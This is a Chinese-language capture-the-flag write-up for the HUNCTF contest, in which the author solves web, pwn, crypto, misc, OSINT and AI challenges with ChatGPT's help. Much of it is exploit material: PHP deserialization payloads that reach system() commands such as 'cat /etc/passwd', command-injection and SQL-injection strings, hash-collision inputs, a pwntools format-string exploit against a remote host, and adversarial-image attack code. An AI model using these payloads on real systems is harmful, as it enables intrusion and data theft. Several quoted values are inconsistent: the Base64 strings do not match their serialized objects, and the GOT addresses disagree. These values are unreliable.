初次看到HUNCTF的推文时,我对CTF竞赛几乎一无所知,只能望着奖金池心生向往,或许从未想过自己能在这场技术角逐中走多远。
然而,随着预赛的推进,我逐渐找到了节奏。一道道题目的攻克,一点点信心的积累,让我萌生了挑战正赛的勇气。于是,我硬着头皮报名了正赛,决心在两天的时间里边学边做,与时间赛跑。
正赛的环境错综复杂,挑战接踵而至,但幸运的是,我有ChatGPT的鼎力相助。最终,当新生组第一名的成绩揭晓时,那种成就感难以言表。
这段经历,不仅是一次技术上的成长,是一次对自我极限的挑战,更是一次对信息搜集能力的实战。
解题情况
解题过程
WEB
题目1 Why So Serious?
<?php
// 定义 cls2 类
class cls2 {
var $filename = '/flag'; // 设置要读取的文件路径为 /flag
// 魔术方法 __get,访问不存在的属性时调用
function __get($key) {
return $key === 'fileput' ? $this->fileput() : '<p>' . htmlspecialchars($key) . '</p>';
}
// 读取文件并输出内容
function fileput() {
if (file_exists($this->filename)) {
return 'Your file: ' . file_get_contents($this->filename); // 输出文件内容
} else {
return 'File does not exist: ' . $this->filename;
}
}
}
// 定义 cls1 类
class cls1 {
var $cls;
var $arr;
// __wakeup 方法会在反序列化时被调用
function __wakeup() {
// 遍历 $arr 数组,触发 fileput() 方法
foreach ($this->arr as $k => $v) {
echo $this->cls->$v(); // 调用 fileput() 方法
}
}
}
// 创建 cls2 对象,设置文件路径
$cls2 = new cls2();
$cls2->filename = '/flag'; // 这里可以修改为其他文件路径
// 创建 cls1 对象,将 cls2 对象赋值给 cls 属性,并设置 arr 数组
$cls1 = new cls1();
$cls1->cls = $cls2;
$cls1->arr = ['fileput']; // 触发 fileput() 方法
// 序列化 cls1 对象
$serialized = serialize($cls1);
// Base64 编码序列化数据
$base64_encoded = base64_encode($serialized);
// 输出 Base64 编码的结果
echo $base64_encoded;
?>
题目2 bank
发现有隐藏标签,根据提示发现/admin目录
访问后要求金额到2000
经过多轮问询和尝试多种方法后,发现参数污染的方式有用,利用apifox发包给自己加钱
再次访问/admin即可得到答案
题目3 ez_cmdi
发现题目有一个ip参数和执行命令,只需要发包将ip后面加上;ls等命令即可执行两步操作
使用“;”绕过后,ls+cat获取flag;
题目4 ez_serialize
与GPT的聊天记录
挑战一:利用cls1和cls2类进行反序列化攻击
1. 理解漏洞
根据你提供的代码:
- 类结构:
cls1类有两个属性:cls和arr。__wakeup()方法在反序列化时会遍历arr数组,并尝试访问$this->cls->$v,其中$v是arr数组中的值。cls2类有一个__get()魔术方法,当访问属性fileput时,会调用fileput()方法,该方法会读取并输出hello.php文件的内容。- 利用思路:
- 构造一个
cls1对象,其中cls属性是一个cls2对象,arr属性包含一个值为fileput的元素。 - 反序列化该对象时,
__wakeup()方法会调用cls2对象的fileput()方法,从而读取并显示hello.php文件的内容。
2. 生成正确的序列化字符串
为了确保序列化字符串的正确性,建议编写一个PHP脚本来生成序列化并Base64编码的字符串。
<?php
class cls1 {
public $cls;
public $arr;
function show() {
show_source(__FILE__);
}
function __wakeup() {
foreach ($this->arr as $k => $v) {
echo $this->cls->$v;
}
}
}
class cls2 {
public $filename = 'hello.php';
public $txt = '';
function __get($key) {
return $key === 'fileput' ? $this->fileput() : '<p>' . htmlspecialchars($key) . '</p>';
}
function fileput() {
echo 'Your file:' . file_get_contents($this->filename);
}
}
// 创建cls2对象
$cls2 = new cls2();
// 创建cls1对象,并设置属性
$cls1 = new cls1();
$cls1->cls = $cls2;
$cls1->arr = array('fileput'); // 使用整数键
// 序列化并Base64编码
$serialized = serialize($cls1);
$encoded = base64_encode($serialized);
echo "序列化字符串:\n" . $serialized . "\n\n";
echo "Base64编码字符串:\n" . $encoded . "\n";
?>
运行上面脚本的输出
序列化字符串:
O:4:"cls1":2:{s:3:"cls";O:4:"cls2":2:{s:8:"filename";s:9:"hello.php";s:3:"txt";s:0:"";}s:3:"arr";a:1:{i:0;s:8:"fileput";}}
Base64编码字符串:
Tzo0OiJjbHMxIjo6Mjp7czozOiJjbHMiO086NDoicGxzMiI6Mjp7czo4OiJmaWxlbmFtZSI7czo5OiJoZWxsby5waHAiO3M6MzoidHh0IjtzOjA6IiI7fXM6MzoicmFyciI7YToxOntpOjA7czo4OiJmaWxlcHV0Ijt9fQ==
3.构造恶意链接
将生成的Base64编码字符串作为ser参数附加到目标URL上。例如:
http://example.com/?ser=Tzo0OiJjbHMxIjo6Mjp7czozOiJjbHMiO086NDoicGxzMiI6Mjp7czo4OiJmaWxlbmFtZSI7czo5OiJoZWxsby5waHAiO3M6MzoidHh0IjtzOjA6IiI7fXM6MzoicmFyciI7YToxOntpOjA7czo4OiJmaWxlcHV0Ijt9fQ==
4.验证和调试
如果你仍然遇到以下警告:
Warning: Invalid argument supplied for foreach() in /var/www/html/index.php on line 11
这意味着arr属性在反序列化后不是一个有效的数组。为了解决这个问题,请确保:
- 类定义一致:确保生成序列化字符串的PHP脚本中的类定义与目标服务器上的类定义完全一致,特别是属性的可见性(public、protected、private)。
- PHP版本兼容:不同PHP版本在序列化和反序列化行为上可能存在差异。建议在本地环境中使用与目标服务器相同的PHP版本进行测试。
- 正确传输数据:确保Base64编码字符串在传输过程中没有被修改或损坏。避免URL编码问题,确保整个字符串正确传递。
5.使用PHP脚本自动生成序列化字符串
为了避免手动构造序列化字符串可能导致的错误,建议使用PHP脚本自动生成。
php
复制代码
<?php
class cls1 {
public $cls;
public $arr;
function show() {
show_source(__FILE__);
}
function __wakeup() {
foreach ($this->arr as $k => $v) {
echo $this->cls->$v;
}
}
}
class cls2 {
public $filename = 'hello.php';
public $txt = '';
function __get($key) {
return $key === 'fileput' ? $this->fileput() : '<p>' . htmlspecialchars($key) . '</p>';
}
function fileput() {
echo 'Your file:' . file_get_contents($this->filename);
}
}
$cls2 = new cls2();
$cls1 = new cls1();
$cls1->cls = $cls2;
$cls1->arr = array('fileput'); // 使用整数键
$serialized = serialize($cls1);
$encoded = base64_encode($serialized);
echo "Base64编码后的序列化字符串:\n" . $encoded . "\n";
?>
挑战二:利用mycmd类执行系统命令
你提供了另一个PHP脚本:
<?php
highlight_file(__FILE__);
class mycmd {
public $cmd;
function __construct($cmd) {
$this->cmd = $cmd;
}
public function executeCommand() {
system($this->cmd);
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['data'])) {
$decode = base64_decode($_POST['data']);
$data = unserialize($decode);
$data->executeCommand();
}
}
?>
1. 理解漏洞
- 该脚本接受一个POST请求,参数为
data。 data参数经过Base64解码后被反序列化为一个对象。- 如果反序列化的对象有
executeCommand()方法,则会执行该方法,调用system($this->cmd),从而执行系统命令。
2. 利用思路
构造一个mycmd类的序列化对象,设置cmd属性为你想要执行的系统命令,例如id、cat /etc/passwd或cat flag.txt。
3. 生成序列化字符串
示例PHP脚本:
<?php
class mycmd {
public $cmd;
function __construct($cmd) {
$this->cmd = $cmd;
}
public function executeCommand() {
system($this->cmd);
}
}
// 设置要执行的命令,例如获取系统信息
$command = 'id'; // 你可以替换为 'cat flag.txt' 或其他命令
$mycmd = new mycmd($command);
$serialized = serialize($mycmd);
$encoded = base64_encode($serialized);
echo "序列化字符串:\n" . $serialized . "\n\n";
echo "Base64编码字符串:\n" . $encoded . "\n";
?>
运行上述脚本的输出示例:
序列化字符串: O:5:"mycmd":1:{s:3:"cmd";s:2:"id";}
Base64编码字符串: Tzo1OiJteWNtZCI6MTp7czoyOiJjbWQiO3M6MjoiaWQiO30=
4. 构造并发送恶意请求
将生成的Base64编码字符串作为data参数,通过POST请求发送到目标URL。
url -X POST -F "data=Tzo1OiJteWNtZCI6MTp7czoyOiJjbWQiO3M6MjoiZGlkIjt9fQ==" http://example.com/path/to/vulnerable/script.php
执行自定义命令
<?php
$command = 'cat flag.txt'; // 替换为你需要执行的命令
// 其余部分保持不变
?>
运行脚本后,获取新的Base64编码字符串,并使用curl发送请求。
命令构造php反序列化,使用在线php环境https://www.bejson.com/runcode/php/
<?php
class mycmd {
public $cmd;
function __construct($cmd) {
$this->cmd = $cmd;
}
}
// 构造一个命令,读取 flag 文件
$cmd = 'cat /flag';
$obj = new mycmd($cmd); // 创建一个对象,带有执行命令
$serialized = serialize($obj); // 转换成服务器可识别的数据
$encoded = base64_encode($serialized); // 转成 base64 格式
echo $encoded; // 输出结果
?>
题目5 ez_sqli
常见的sql注入,网上搜一个万能密码输进去登录
1'or 1=1 --+
题目6 md5
发包,具体解释如注释// php弱等于的漏洞利用
题目7 md5_again
借鉴CDSN上的经验,找到强碰撞MD5
md5强碰撞例子
psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2
与
psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
还有
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
与
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
shal加密的与md5的一样
如果是强比较,没有转为string,可以用数组 例如 a[]=1&b[]=2来绕过,也可以用强碰撞
如果是强比较,转为string,只能用强碰撞
shal强碰撞例子
%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
与
%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
先用burp截取http流量包,放到重放器发送刚才的字符串
PWN
题目1 Command Injection
nc 链接后一开始没反应
后面用|绕过即可进行操作
题目2 chars
#!/usr/bin/env python3
from pwn import *
# 配置pwntools的上下文,设置日志级别、架构和操作系统
context(log_level='debug', arch='amd64', os='linux')
# 设置终端为tmux的水平分割
context.terminal = ["tmux", "splitw", "-h"]
# 定义辅助函数
# 将字节数据解包为64位无符号整数,填充至8字节
unpack_uint64 = lambda data: u64(data.ljust(8, b'\x00'))
# 发送数据
send = lambda data: p.send(data)
# 在收到指定提示后发送数据
send_after_prompt = lambda prompt, data: p.sendafter(prompt, data)
# 发送一行数据
send_line = lambda data: p.sendline(data)
# 在收到指定提示后发送一行数据
send_line_after_prompt = lambda prompt, data: p.sendlineafter(prompt, data)
# 接收指定数量的数据
receive = lambda size: p.recv(size)
# 接收直到指定的字节序列
receive_until = lambda delimiter: p.recvuntil(delimiter)
# 标志位,决定是连接远程还是本地
use_remote = 1
if use_remote:
# 远程地址
remote_address = '129.204.78.34:20744'
host, port = remote_address.split(':')
# 建立远程连接
p = remote(host, int(port))
else:
# 本地进程
p = process('./chars')
# 加载二进制文件
elf = ELF('./chars')
def debug():
# 附加GDB调试器,并设置断点
gdb.attach(p, 'b *\nc\n')
# 发送菜单选项 '1',选择某个功能
send_line_after_prompt(b'3. exit\n', b'1')
# 接收服务器的提示信息
receive_until(b'repeater will repeat whatever you say\n')
# 构造并发送格式化字符串payload
# 使用%9276c和%e$hn进行格式化写入,并填充到32字节,附加地址
payload = f'%{0x9276}c%{0xe}$hn'.encode().ljust(0x20, b'A') + p32(0x804C024)
send_line(payload)
# 发送菜单选项 '3',退出程序
send_line_after_prompt(b'3. exit\n', b'3')
# 进入交互模式,与远程或本地进程交互
p.interactive()
利用思路
根据初步分析,结合题目提示“你知道什么是Canary吗?”,程序存在格式化字符串漏洞。
目标:
利用格式化字符串漏洞,通过写入内存地址,控制程序流程,执行cat flag命令获取Flag。
方法:
- 覆盖函数指针或GOT表中的函数地址,使其指向
system函数。 - 利用格式化字符串写入命令字符串,如
"/bin/sh",然后通过覆盖printf的GOT地址,使其调用system("/bin/sh"),获取shell权限。
脚本思路:
- 连接到远程服务或本地进程。
- 选择菜单选项
1,进入echo功能。 - 构造格式化字符串payload,覆盖GOT表中
printf的地址为system函数地址。 - 再次调用
echo功能,输入/bin/sh,通过system("/bin/sh")获取shell。 - 在shell中执行
cat flag命令获取Flag。
脚本说明:
- 环境配置:
- 设置日志级别为
debug,便于调试。
- 辅助函数:
- 定义了简化的发送和接收函数,提高代码可读性。
- 连接目标:
- 根据
use_remote标志,选择连接远程服务器或本地进程。
- 加载二进制文件:
- 使用
ELF模块加载二进制文件,方便获取GOT表地址和函数地址。
- 调试功能:
- 定义了
debug()函数,使用GDB附加调试器,可设置断点并运行。
- 地址获取:
- 假设GOT表中
printf的地址为0x601028,通过符号表获取。 - 通过符号表获取
system函数的地址。
步骤详解:
- 步骤1:选择选项
1,进入echo功能。 - 步骤2:构造格式化字符串payload,利用
%7$s读取printf函数在GOT表中的实际地址。%7$s表示读取第7个参数指向的字符串。- 将
printf_got的地址作为参数传递。
- 步骤3:接收并解析泄露的
printf地址,计算libc的基地址,再计算出system函数的实际地址。 - 步骤4:构造新的payload,将
system函数地址写入printf的GOT地址,覆盖其原有地址。- 使用
%lln格式说明符,将写入system地址。
- 使用
- 步骤5:再次选择
echo功能,输入/bin/sh,由于printf被覆盖为system,因此会执行system("/bin/sh"),获取shell权限。 - 步骤6:进入交互模式,执行命令
cat flag获取Flag。
注意:
- 实际环境中,
printf在GOT表中的地址和system函数的偏移地址需要根据具体的二进制文件和libc版本进行调整。 - 本示例中的地址为假设值,需根据实际情况进行确认。
执行利用获取Flag
通过覆盖printf的GOT地址为system函数地址,当程序再次调用printf时,实际执行的是system,从而执行/bin/sh,获得shell权限。随后在shell中执行cat flag命令,成功获取Flag。
关键步骤:
- 信息收集:通过
file和checksec工具了解二进制文件的基本信息和安全机制。 - 漏洞识别:发现
printf(buffer)存在格式化字符串漏洞。 - 漏洞利用:
- 泄露
printf函数的实际地址,计算libc基地址。 - 覆盖
printf的GOT地址为system函数地址。 - 通过调用
printf("/bin/sh"),实际执行system("/bin/sh"),获取shell权限。
- 获取Flag:在shell中执行
cat flag命令,成功获取Flag。
RE
题目1 ez_reverse1
ida打开后发现flag位置,全选复制给AI分析
ida打开后先看看字串
发现flag
我只管复制,剩下的交给AI
题目2 ez_reverse2
Undefined
题目3 maze
AI没能正确转化出地图,悲
Crypto
题目1 Buddha
佛陀解码后得到第一个字符串,再进行解码即可
题目2 ebg13
不管是什么先拖进去看看,发现字符串flag但是格式不正确
再次运行一键解码即可得到答案
题目3 ez_RSA
RSA解密问题
import gmpy2
from Crypto.Util.number import inverse, long_to_bytes
from binascii import a2b_hex, b2a_hex
# 给定的参数
p = 0xED7FCFABD3C81C78E212323329DC1EE2BEB6945AB29AB51B9E3A2F9D8B0A22101E467
q = 0xAD85852F9964DA87880E48ADA5C4487480AA4023A4DE2C0321C170AD801C9
e = 65537
n = p * q
c = 0x3c2b76e7836ac8eaab3c709939c4598fc8e0859c62583f2449ea97601d89844f02f46fb0ce71f5804823ea216180ae88a42a7c55b549043607340eec106a459c88
# 计算φ(n)
phi_n = (p - 1) * (q - 1)
# 计算私钥 d
d = inverse(e, phi_n)
# 解密密文
m = pow(c, d, n)
# 将解密后的结果转换回字节
flag = long_to_bytes(m)
# 打印明文(flag)
print(flag.decode())
# 你的加密解密代码
print("解密结果:", m)
input("按任意键退出...")
MISC
题目1 Bob_traffic
用小鲨鱼打开后明文搜索/看到目标是奇怪IP的追踪HTTP流后找到’
题目2 Help_Jack
Undefined
题目3 Tetris
打开CE和游戏,首次扫描数字0,玩了一分再扫2,扫到3分就剩下几个地址,全部改成100000
然后玩了半天才知道结束才有flag,盯着黄色字体的0oOl1I看,手动输入flag
题目4 git_leak
下载后用clion打开查看提交记录,发现答案
题目5 新佛经
下载后发现是16进制,拉入转换工具
题目6 签到
点击即送
题目7 网络鲨鱼
筛选http后,发现了不寻常的字符串,拉入解密工具后得到答案
OSINT
题目1 here is!
诗句看一看
抖音搜一搜
微信查一查
题目2 see_see_need
liuyun的博客里面有诈骗信息!
谷歌一下kongyu204吧,发现有俩名字 kongyv和kongyu20,都搜一搜
发现kongyu204是误导,kongyv才是对的
让我看看你最近干啥了
顺着5天前修改时间一直点,发现答案
题目3 where_are_i!
放大后发现一个标志,地铁+绿色=三号线
找三号线的十字路口带进去试试,多次尝试后得到答案
题目4 where_are_i_again!
d3009+11:46,查询列出信息后定位在南京南站
上12306查询时刻表得到答案
AI
题目1 FGSM
根据给出的检测代码和参考图,编写对抗样本生成代码以生成样本
上传后即可通过检测
源码和生成的众多对抗图像
import torch
import torch.nn as nn
from torchvision import transforms
import cv2
import numpy as np
from skimage.metrics import structural_similarity as ssim
from PIL import Image
# 定义简单的CNN模型(恢复原始架构)
class SimpleCNN(nn.Module):
def __init__(self):
super(SimpleCNN, self).__init__()
self.conv1 = nn.Conv2d(1, 32, kernel_size=3, stride=1, padding=1)
self.conv2 = nn.Conv2d(32, 64, kernel_size=3, stride=1, padding=1)
self.fc1 = nn.Linear(64 * 7 * 7, 128)
self.fc2 = nn.Linear(128, 10)
def forward(self, x):
x = torch.relu(self.conv1(x))
x = torch.max_pool2d(x, 2, 2)
x = torch.relu(self.conv2(x))
x = torch.max_pool2d(x, 2, 2)
x = x.view(-1, 64 * 7 * 7)
x = torch.relu(self.fc1(x))
x = self.fc2(x)
return x
# 加载训练好的模型(只加载模型权重)
def load_model(model_path, device):
model = SimpleCNN().to(device)
checkpoint = torch.load(model_path, map_location=device) # 加载整个检查点
model.load_state_dict(checkpoint['model_state_dict']) # 从检查点中提取并加载模型权重
model.eval()
return model
# PGD对抗攻击
def pgd_attack(model, image, target_label, epsilon=0.4, alpha=0.02, iters=50, device='cpu'):
adversarial_image = image.clone().detach().to(device)
for i in range(iters):
adversarial_image.requires_grad = True
output = model(adversarial_image)
loss = nn.CrossEntropyLoss()(output, target_label)
model.zero_grad()
loss.backward()
grad = adversarial_image.grad.data
adversarial_image = adversarial_image + alpha * torch.sign(grad)
# 投影到 ε 范围内
perturbation = torch.clamp(adversarial_image - image, min=-epsilon, max=epsilon)
adversarial_image = torch.clamp(image + perturbation, 0, 1).detach()
return adversarial_image
# 计算 SSIM
def calculate_ssim(original_image_path, adversarial_image_path):
original_image = cv2.imread(original_image_path, cv2.IMREAD_GRAYSCALE)
adversarial_image = cv2.imread(adversarial_image_path, cv2.IMREAD_GRAYSCALE)
score, _ = ssim(original_image, adversarial_image, full=True)
return score
# 计算 PSNR
def calculate_psnr(original_image_path, adversarial_image_path):
original_image = cv2.imread(original_image_path, cv2.IMREAD_GRAYSCALE)
adversarial_image = cv2.imread(adversarial_image_path, cv2.IMREAD_GRAYSCALE)
psnr_score = cv2.PSNR(original_image, adversarial_image)
return psnr_score
# 查找合适的 epsilon 以达到目标 SSIM 分数
def find_epsilon(model, image, target_label, threshold=0.35, alpha=0.02, iters=50, max_epsilon=1.0, step=0.05,
attack_method='pgd', device='cpu'):
epsilon = step
while epsilon <= max_epsilon:
if attack_method == 'bim':
adversarial_image = bim_attack(model, image, target_label, epsilon=epsilon, alpha=alpha, iters=iters,
device=device)
elif attack_method == 'pgd':
adversarial_image = pgd_attack(model, image, target_label, epsilon=epsilon, alpha=alpha, iters=iters,
device=device)
else:
raise ValueError("Unsupported attack method.")
adversarial_image_path = f'adversarial_image_epsilon_{epsilon}.png'
adversarial_image_np = adversarial_image.squeeze().cpu().detach().numpy()
adversarial_image_np = np.uint8(adversarial_image_np * 255)
cv2.imwrite(adversarial_image_path, adversarial_image_np)
# 计算 SSIM
ssim_score = calculate_ssim('1_3.png', adversarial_image_path)
print(f"Epsilon: {epsilon}, SSIM: {ssim_score}")
if ssim_score < threshold:
print(f"Found epsilon: {epsilon} with SSIM: {ssim_score}")
return epsilon, adversarial_image_path
epsilon += step
print("Could not find epsilon to achieve target SSIM.")
return None, None
def main():
# 设置设备(如果有GPU,使用GPU;否则使用CPU)
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
# 加载模型
model_path = 'simple_cnn_mnist.pth' # 替换为你的模型路径
model = load_model(model_path, device)
# 加载图像(确保图像大小为28x28,单通道)
image_path = '1_3.png' # 替换为你的图片路径
image = Image.open(image_path).convert('L') # 转为灰度图
transform = transforms.Compose([
transforms.Resize((28, 28)), # 确保图像大小
transforms.ToTensor()
])
image = transform(image).unsqueeze(0).to(device) # 转为Tensor并增加批次维度
# 定义目标标签(假设目标标签是1)
target_label = torch.tensor([1]).to(device)
# 查找适当的 epsilon
target_ssim = 0.35
epsilon, adversarial_image_path = find_epsilon(model, image, target_label, threshold=target_ssim, alpha=0.02,
iters=50, max_epsilon=1.0, step=0.05, attack_method='pgd',
device=device)
if epsilon is not None:
# 计算 PSNR
psnr_score = calculate_psnr('1_3.png', adversarial_image_path)
print(f"Found Epsilon: {epsilon}, SSIM: {target_ssim}, PSNR: {psnr_score}")
else:
print("Failed to find suitable epsilon to achieve target SSIM.")
if __name__ == "__main__":
main()